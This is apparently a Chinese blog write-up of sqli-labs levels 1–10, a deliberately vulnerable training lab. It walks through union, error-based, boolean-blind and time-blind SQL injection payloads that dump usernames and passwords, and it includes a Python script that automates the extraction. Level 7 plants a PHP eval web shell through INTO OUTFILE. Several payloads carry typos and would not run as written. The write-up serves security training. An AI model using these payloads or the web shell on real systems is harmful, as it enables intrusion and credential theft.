1. 程式人生 > 資料庫 >sqli-labs less1-10詳解

sqli-labs less1-10詳解

文章目錄

第一關,基於錯誤的GET單引號字元型注入

字串連線函式:

concat(str1,str2) //沒有分隔符的連線字串
concat_ws(str,str2) //含有分隔符的連線字串
group_concat(str1,str2) //連線一個組的所有字串,並以逗號分隔每一條資料

進入第一關頁面
在這裡插入圖片描述
輸入?id=1測試是否有注入點,顯示正常
在這裡插入圖片描述
多試幾位數,發現也都是正常
在這裡插入圖片描述新增and 1=2 --+ 都顯示正常
在這裡插入圖片描述
分析下原始碼,id=‘ i d ′ , id', id′,id被單引號包含,明顯是單引號的閉合

在這裡插入圖片描述
輸入?id=1‘,檢視報錯,說明有注入點
在這裡插入圖片描述
嘗試and 1=1 --+,返回為真,返回是正常的
在這裡插入圖片描述
?id=2 --+,返回錯誤,這裡直接連個提示都沒有
在這裡插入圖片描述
Order by 10
檢視資料庫欄位數
在這裡插入圖片描述
挨個測試,欄位數為3
在這裡插入圖片描述
union聯合查詢
?id=1’ and 1=2 union select 1,2,3 --+
在這裡插入圖片描述

進入下面的操作前,先介紹幾個函式:

(1)version():檢視資料庫版本
(2)user():檢視當前使用者
(3)database():檢視使用的資料庫
(4) limit :limit子句來分批獲取所有資料
(5)group_concat():一次性獲取資料庫資訊。

檢視當前資料庫


?id=1’ and 1=2 union select 1,database(),3 --+
在這裡插入圖片描述檢視版本
?id=1’ and 1=2 union select 1,version(),3 --+
在這裡插入圖片描述
下面最後輸入的資料庫,表名或者列名,都需要轉換成十六進位制

檢視當前使用者
?id=1’ and 1=2 union select 1,user(),3 --+
在這裡插入圖片描述
爆表名
?id=1’ and 1=1 union select 1,group_concat(table_name),3 from information_schema.tables table_schema=0x庫名轉十六進位制 --+

在這裡插入圖片描述
爆列名
?id=1’ and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0xuser的十六進位制轉換
在這裡插入圖片描述爆賬號密碼
?id=1’ and 1=2 union select 1,group_concat(0x5c,username,0x5c,password),3 from users(表名)
最後的表名,嘗試用十六進位制的,發現不行,乾脆不轉發現照樣爆了出來
0x5c是反斜槓
在這裡插入圖片描述

第二關

首先檢視原始碼
在這裡插入圖片描述
很明顯沒有單引號,是一個數字型的注入
在這裡插入圖片描述
直接開整,檢視下資料庫欄位數量
Order by 3 --+
和第一關一樣,也是三個欄位
在這裡插入圖片描述
如第一個一樣檢視資料庫名,表名,列名,使用者名稱和密碼
?id=1 and 1=2 union select 1,database(),3 --+
在這裡插入圖片描述
檢視所有的資料庫
?id=1 and 1=2 union select 1,group_concat(schema_name),3 from information_schema.schemata --+
在這裡插入圖片描述
知道了庫名,爆表名
?id=1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’ --+
在這裡插入圖片描述
爆列名
?id=1 and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ --+
在這裡插入圖片描述
爆使用者名稱和密碼
?id=1 and 1=2 union select 1,group_concat(username,0x5c,password),3 from users --+
在這裡插入圖片描述

第三關

查詢注入點
在這裡插入圖片描述
在這裡插入圖片描述
在這裡插入圖片描述
在這裡插入圖片描述
檢視列
?id=1’) and 1=1 order by 3 --+
在這裡插入圖片描述
檢視所有資料庫
?id=1’) and 1=2 union select 1,group_cpncat(schema_name),3 from information_schema.schemata --+
在這裡插入圖片描述
檢視當前資料庫
?id=1’) and 1=2 union select 1,database(),3 --+
在這裡插入圖片描述
爆表名
?id=1’) and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘庫名’ --+
在這裡插入圖片描述
爆列名
?id=1’) and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_name=‘表名’ --+
在這裡插入圖片描述
在這裡插入圖片描述

第四關

測試注入點
在這裡插入圖片描述
查詢到了注入點是一個“)的閉合點
在這裡插入圖片描述
檢視欄位長度為4
在這裡插入圖片描述
在這裡插入圖片描述
檢視當前的資料庫
在這裡插入圖片描述
檢視所有表
在這裡插入圖片描述
檢視列名
在這裡插入圖片描述
爆使用者名稱和密碼
在這裡插入圖片描述

第五關 二次查詢

雙查詢注入其實就是一個select語句中再巢狀一個select語句,巢狀的這個語句稱作子查詢,
先查詢裡面的select database(),再查詢外面的。
在這裡插入圖片描述

後續注入,需要先了解count()、rand()、floor()、concat()這三個函式的功能以及group by語句的用法。

  1. count():彙總資料函式
  2. rand():隨機輸出一個小於1的正數
  3. floor():把輸出的結果取整
  4. group by語句:把結果分組輸出
  5. concat():連線兩條語句

rand()函式
先來看這個函式的作用:
select rand();
在這裡插入圖片描述
就是隨機輸出一個小於1的正數
floor()函式
現在加上floor()函式,效果就不一樣了,floor是取整函式,為了體現的更直觀,我們把rand()*2來輸出,也就是輸出0或1.
select floor(rand()*2);
在這裡插入圖片描述concat()函式
現在我們再加上一個concat()函式,看看效果:
select concat((select database()),floor(rand()*2));
在這裡插入圖片描述group by語句
group by就是分組語句,舉個例子大家就明白了
select concat((select database()),floor(rand()*2))as a from information_schema.tables group by a;
這裡解釋一下,把select database()和floor(rand()*2)的結果輸出到a裡,然後最大長度根據information_schema.tables來決定,然後用a進行分組,xxx1一組,xxx0一組:
在這裡插入圖片描述在這裡插入圖片描述
也可以version(),user()檢視資料庫版本和當前使用者。

count()函式

最後在語句中加個count(*),整合一下結果,就明白count()函式是幹嘛的了:
在這裡插入圖片描述現在才是真正展現二次查詢注入威力的時候,當我們第二次去查詢的時候,資料庫竟然報錯了:
在這裡插入圖片描述這就說明,如果想要頁面爆出你想要的資料來,點選一次是沒用的,只有點第二次資料庫才會報錯,才會回顯。

開始注入
尋找注入點
在這裡插入圖片描述
ok找到注入點
在這裡插入圖片描述
做個好幾關,猜都能猜出來欄位長度為3
在這裡插入圖片描述
好像沒按套路出牌,沒爆出使用者名稱和密碼
在這裡插入圖片描述
使用雙查詢注入
爆當前的庫
?id=1’ and 1=2 union select 1,count(*),concat((select database()),floor(rand()*2)) as a from information_schema.tables group by a;

第一次注入會顯示“you are in ……”沒有回顯資訊
相同的語句第二次注入,爆出當前的資料庫

在這裡插入圖片描述
爆表名
?id-1’ and 1=2 union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=‘security’),floor(rand()*2)) as a from infromation_schema.tables group by a --+
在這裡插入圖片描述
發現報錯了,提示說子查詢返回一行以上,說裡面的查詢要返回一行以上。
這裡多了一個鍵,鍵1已經存在虛擬表中,由於鍵只能唯一,所以此時就會報錯。所以在使用floor()、rand(0)、count()、group by時,資料表中至少要有3條記錄才會報錯,所以我們在第二條select語句末尾加上limit x,1即可讓它報錯繼續注入。

一樣的兩次注入,第一次正常,第二次回顯
?id=1’ and 1=2 union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=‘security’;imit 0,1),floor(rand()2)) as a from information_schema.tables group by a --+
爆出的第一個表
Limit 前一個零代表第一個
依次增加

在這裡插入圖片描述
第二個表
雙查詢太費勁了,有時候兩次重新整理並沒有卵用,要多重新整理幾次,希望實戰不會費勁,容易浪費時間直接pass掉
在這裡插入圖片描述
第三張表
在這裡插入圖片描述
第四張表
總算找到目標了
在這裡插入圖片描述
順著思路爆列名
第一個列名
?id=1’ and 1=2 union select 1,count(
),concat((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),floor(rand()*2)) as a from information_schema.tables group by a;
在這裡插入圖片描述
第二列
爆出了使用者名稱欄位
在這裡插入圖片描述
第三列
爆出了密碼欄位

在這裡插入圖片描述
順著思路
爆欄位
第一個使用者名稱欄位
?id=1’ and 1=2 union select 1,count(*),concat((select username from users limit 0,1),floor(rand()*2)) as a from information_schema.tables group by a --+
在這裡插入圖片描述
爆第一個密碼欄位
在這裡插入圖片描述
不管使用者欄位還是密碼欄位,limit依次爆下一個欄位。
注:在爆的時候有可能需要點選兩次及以上,畢竟它有個緩衝時間,多查幾次就出來了。

**手動有些繁瑣
exp
網上大牛寫的exp指令碼,非常值得學習啊!**
import requests
from bs4 import BeautifulSoup
db_name = ''
table_list = []
column_list = []
url = '''http://192.168.1.113:86/Less-5/?id=1'''
***獲取當前資料庫名***
print('當前資料庫名:')
payload = '''' and 1=(select count(*) from information_schema.columns group by concat(0x3a,(select database()),0x3a,floor(rand(0)*2)))--+'''
r = requests.get(url+payload)
db_name = r.text.split(':')[-2]
print('[+]' + db_name)
**獲取表名**
print('資料庫%s下的表名:' % db_name)
for i in range(50):
    payload = '''' and 1=(select count(*) from information_schema.columns group by concat(0x3a,(select table_name from information_schema.tables where table_schema='%s' limit %d,1),0x3a,floor(rand(0)*2)))--+''' % (db_name,i)
    r = requests.get(url+payload)
    if 'group_key' not in r.text:
        break
    table_name = r.text.split(':')[-2]
    table_list.append(table_name)
    print('[+]' + table_name)
***獲取列名***
**這裡以users表為例**
print('%s表下的列名:' % table_list[-1])
for i in range(50):
    payload = '''' and 1=(select count(*) from information_schema.columns group by concat(0x3a,(select column_name from information_schema.columns where table_name='%s' limit %d,1),0x3a,floor(rand(0)*2)))--+''' % (table_list[-1],i)
    r = requests.get(url + payload)
    if 'group_key' not in r.text:
        break
    column_name = r.text.split(':')[-2]
    column_list.append(column_name)
    print('[+]' + column_name)
**獲取欄位值**
**這裡以username列為例**
print('%s列下的欄位值:' % column_list[-2])
for i in range(50):
    payload = '''' and 1=(select count(*) from information_schema.columns group by concat(0x3a,(select %s from %s.%s limit %d,1),0x3a,floor(rand(0)*2)))--+''' % (column_list[-2],db_name,table_list[-1],i)
    r = requests.get(url + payload)
    if 'group_key' not in r.text:
        break
    dump = r.text.split(':')[-2]
    print('[+]' + dump)

在這裡插入圖片描述

第六關

開始注入
查詢注入點
這裡查詢到的注入點是 “ 雙引號
在這裡插入圖片描述
通過第五關這可能這是一個雙查詢注入
檢視一下是否和想的一樣
爆庫名
Union select 1,count(*),concat((select database()),floor(rand()2)) as a from information_schema.tables group by a --+
在這裡插入圖片描述
一樣的雙查詢
爆表名

Union select 1,count(
),concat((select table_name from information_schema.tables where table_schema=‘security’ limit 3,1),floor(rand()*2)) as a from information_schema.tables group by a --+
在這裡插入圖片描述
爆列名
使用者組

在這裡插入圖片描述
密碼組
在這裡插入圖片描述
爆欄位
使用者名稱

在這裡插入圖片描述
密碼
在這裡插入圖片描述

第七關

查詢注入點
在這裡插入圖片描述
發現有提示,outfile,查了一下屬於匯入匯出檔案
1、load_file()匯出檔案
load_file(file_name):讀取檔案並返回該檔案內容作為一個字串。
使用條件:
A:必須有許可權讀取並且檔案完全可讀
B:預讀取檔案必修在伺服器上
C:必須指定檔案完整路徑
D:預讀取檔案必修小於max_allowed_packet
如果該檔案不存在,或因為上面的任一原因而不能被讀出,函式返回空。比較難滿足的 就是許可權,在 windows 下,如果 NTFS 設定得當,是不能讀取相關的檔案的,當遇到只有 administrators 才能訪問的檔案,users就別想 load_file 出來。
在實際的注入中,我們有兩個難點需要解決: 絕對物理路徑 構造有效的畸形語句 (報錯爆出絕對路徑) 在很多 PHP 程式中,當提交一個錯誤的 Query,如果 display_errors=on,程式就會暴露 WEB 目錄的絕對路徑,只要知道路徑,那麼對於一個可以注入的 PHP 程式來說,整個服務 器的安全將受到嚴重的威脅。
2、匯入到檔案
into outfile
可以把被選擇的行寫入一個檔案中。該檔案被建立到伺服器主機上,因此您必須擁有 FILE 許可權,才能使用此語法。file_name 不能是一個已經存在的檔案。

一 直接將select內容匯入到檔案
二修改檔案結尾

我看大佬們都看下路徑,我想不用看,肯定有,查檢視,發現居然是禁止匯入匯出的
在這裡插入圖片描述
找到my.int檔案
在這裡插入圖片描述在mysqld下新增下面這一段,後面為路徑
在這裡插入圖片描述重啟mysql就有了
在這裡插入圖片描述
接著查詢注入點
注入點?id=1’))
在這裡插入圖片描述
在看下原始碼,確實是這樣的閉合方式
在這裡插入圖片描述
使用into outfile匯入一句話木馬
?id=1’)) and 1=2 union select 1,"<?php @eval($_POST[pass])?>",3 into outfile “路徑\檔名.php”
生成檔案並寫入一句話木馬,路徑的分隔符必須是兩個反斜槓
在這裡插入圖片描述
用菜刀連線即可。
在這裡插入圖片描述在這裡插入圖片描述

第八關

查詢注入點
注入點為單引號
在這裡插入圖片描述
這是一個布林盲注,感覺還挺有意思

盲注利用的函式

length() 返回字串的長度
substr() 擷取字串
ascii() 返回字串的ASCII碼
sleep() 將程式執行延遲
if(exp1,exp2,exp3) 如果第一個語句/條件正確,就執行exp2,如果失敗就執行exp3

布林盲注思路
• 先利用(length(database()))=n判斷資料庫的長度
• 利用ascii(substr(database(),n,n))) = xxx 猜出資料庫名
• 利用類似方法取出資料表
1’ and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=xxx –
• 再取資料。。。

length() 返回字串的長度
http://localhost/sqli/Less-8/?id=1‘ and length(database())>1–+ #肯定大於1,這個事實
在這裡插入圖片描述
http://localhost/sqli/Less-8/?id=1‘ and length(database())>7–+ #大於7
http://localhost/sqli/Less-8/?id=1‘ and length(database())>8–+ #不大於8
在這裡插入圖片描述
http://localhost/sqli/Less-8/?id=1‘ and
length(database())=8–+ #資料庫等於8,然後呢!
在這裡插入圖片描述
然後猜解字元了,編輯確實坑爹!感覺還是寫個字典用burp跑
通過ascii()和substr()猜測資料庫名
ascii() #返回指定數字對應的ascii碼字元函式
substr() #擷取從pos位置開始到最後的所有str字串
http://localhost/sqli/Less-8/?id=1‘ and (select ascii(substr(database(),1,1)))=115–+ #115=s
正確回顯,錯誤將會報錯
在這裡插入圖片描述
不停的爆破
第二個是101 e
在這裡插入圖片描述
第三個是 99 c
在這裡插入圖片描述
第四個是117 u
在這裡插入圖片描述
第五個是114 r
在這裡插入圖片描述
第六個是105 I
在這裡插入圖片描述
第七個是116 t
在這裡插入圖片描述
第八個是121 y
在這裡插入圖片描述
可以得到資料庫名字為:security

接下來頭疼的爆資料表,盲注果然是很枯燥的事情。
http://localhost/sqli/Less-8/?id=1‘ and (select ascii(substr((select table_name from information_schema.tables where table_schema=‘security‘ limit 0,1),1,1)))=117–+
第一個資料表 101,109,97,105,108,115 =>emails
在這裡插入圖片描述
改後面的排數
在這裡插入圖片描述
第二個資料表 114,101,102,101,114,101,114,115 =>referers

Limit 前為資料庫)後為字位數
在這裡插入圖片描述
在這裡插入圖片描述
第三個資料表 117,97,103,101,110,116,115 =>uagents
在這裡插入圖片描述
在這裡插入圖片描述第四個資料表 117,115,101,114,115 =>users
在這裡插入圖片描述
在這裡插入圖片描述
爆欄位了,我是有點奔潰了。。。。接下來更加坑爹的爆欄位。
http://localhost/sqli/Less-8/?id=1‘ and (select ascii(substr((select column_name from information_schema.columns where table_name=‘users‘ limit 0,1),2,1)))=105–+
第一個欄位 117,115,101,114,95,105,100 =>user_id
在這裡插入圖片描述第二個欄位 102,105,114,115,116,95,110,97,109,101 =>first_name
內心是奔潰,想辦法簡略一下。不是117=u或者112=p直接忽略
第三個欄位 108 pass =>last_name
第四個欄位 117,115,101,114 =>user
第五個欄位 112,97,115,115,119,111,114,100, =>password
第六個欄位 97 pass =>avatar
第七個欄位 105 =》id
第八個欄位 117,115,101,114,110,97,109,101 =>username
猜解一下使用者名稱username,密碼password

感覺太悲催。
http://localhost/sqli/Less-8/?id=1‘ and (select ascii(substr((select username from users limit 0,1),1,1)))=68–+
在這裡插入圖片描述第一個使用者名稱:68,117,109,98 =>Dumb
http://localhost/sqli/Less-8/?id=1‘ and (select ascii(substr((select password from users limit 0,1),1,1)))=68–+
在這裡插入圖片描述第一個密碼:68,117,109,98 =>Dumb

第九關 時間盲注

在我們注入了SQL程式碼之後,存在以下兩種情況:
• 如果注入的SQL程式碼不影響後臺[資料庫]的正常功能執行,那麼Web應用的頁面顯示正確(原始頁面)。
• 如果注入的SQL程式碼影響後臺資料庫的正常功能(產生了SQL注入),但是此時Web應用的頁面依舊顯示正常(原因是Web應用程式採取了“重定向”或“遮蔽”措施)。
接下來,學習基於時間型SQL盲注。
我們在這裡使用IF(查詢語句,1,sleep(5)),即如果我們的查詢語句為真,那麼直接返回結果;如果我們的查詢語句為假,那麼過5秒之後返回頁面。所以我們就根據返回頁面的時間長短來判斷我們的查詢語句是否執行正確,即我們的出發點就回到了之前的基於布林的SQL盲注,也就是構造查詢語句來判斷結果是否為真。
上面是後來查的,嘗試了很多注入點都沒有注入點
在這裡插入圖片描述既然是時間盲注,那就嘗試查詢注入點
Sleep(時間) 通過休眠檢視注入點
通過測試休眠查詢注入點
成功查詢到單引號閉合為注入點
在這裡插入圖片描述在這裡插入圖片描述查詢到注入點爆資料庫
?id=1’ and (select if((select database())=‘security’,sleep(5),1)) --+
在這裡插入圖片描述上面是知道的情況,下面展示一個字母一個猜的過程
?id=1’ and (select if(ascii(substr((select database()),1,1))=115,sleep(5),1)) --+
盲猜的是“S”
就不展示網路時長,都是七秒以上
在這裡插入圖片描述
爆表名
?id=1’ and (select if(ascii(substr((select table_name() from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=101,sleep(5),1)) --+
第一個表的第一個字母e
在這裡插入圖片描述
爆第四個users表名的第一個字母
?id=1’ and (select if(ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=117,sleep(5),1)) --+
在這裡插入圖片描述
爆使用者組名的第一個字母
在這裡插入圖片描述
爆出密碼列的第一個字母p
在這裡插入圖片描述
爆使用者
?id=1’ and (select if(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(5),1)) --+
爆第一個使用者的第一個字母D
在這裡插入圖片描述
爆第一個密碼地第一個字母D
?id=1’ and (select if(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(5),1)) --+
在這裡插入圖片描述

第十關

通過程式碼是一個雙引號的時間盲注
在這裡插入圖片描述
在這裡插入圖片描述爆資料庫名
security的·第一個字母
?id=1" and (select if(ascii(substr((select database() limit 0,1),1,1))=115,sleep(5),1)) --+
在這裡插入圖片描述爆表名
users表的第一個字母
?id=1" and (select if(ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 3,1),1,1))=117,sleep(5),1)) --+
在這裡插入圖片描述
爆列名
在這裡插入圖片描述
在這裡插入圖片描述
在這裡插入圖片描述
爆欄位
在這裡插入圖片描述
在這裡插入圖片描述